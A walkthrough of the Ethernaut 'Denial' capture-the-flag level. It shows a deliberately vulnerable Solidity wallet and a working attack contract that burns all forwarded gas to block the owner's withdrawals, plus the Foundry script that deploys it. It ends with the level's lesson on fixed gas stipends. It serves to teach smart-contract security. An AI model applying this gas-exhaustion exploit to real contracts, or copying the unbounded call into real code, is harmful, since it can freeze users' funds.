Level 20 - Denial ⏺⏺⏺

https://ethernaut.openzeppelin.com/level/20

Level Setup

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.

If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

Level Contract

ethernaut/contracts/src/levels/Denial.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Exploit

Anvil

make anvil-exploit-level-20

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

Holesky

make holesky-exploit-level-20

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

Exploit Contract

ethernaut-foundry/src/Level20.sol at 26ebb8956b333626f21e90a270ad87a258233f49 · EridianAlpha/ethernaut-foundryGitHub

src/Level20.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                        LEVEL 20 - DENIAL                     │
// ================================================================
contract AttackContract {
    uint256 counter;

    function burn() internal {
        while (gasleft() > 0) {
            counter += 1;
        }
    }

    receive() external payable {
        burn();
    }
}

Exploit Deployment Script

ethernaut-foundry/script/Level20.s.sol at 26ebb8956b333626f21e90a270ad87a258233f49 · EridianAlpha/ethernaut-foundryGitHub

script/Level20.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

import {AttackContract} from "src/Level20.sol";

// ================================================================
// │                        LEVEL 20 - DENIAL                     │
// ================================================================
interface IDenial {
    function withdraw() external;
    function setWithdrawPartner(address _partner) external;
}

contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IDenial denial = IDenial(targetContractAddress);

        vm.startBroadcast();
        denial.setWithdrawPartner(address(new AttackContract()));
        vm.stopBroadcast();
    }
}

Submit instance... 🥳

Completion Message

This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.

If you are using a low level call to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value().

Typically one should follow the checks-effects-interactions pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.

Note: An external CALL can use at most 63/64 of the gas currently available at the time of the CALL. Thus, depending on how much gas is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in the parent call) can be used to mitigate this particular attack.

Notes

ethernaut-openzeppelin-hacks/level_20_Denial.md at e936301859334383d568a614084917100319205e · nvnx7/ethernaut-openzeppelin-hacksGitHub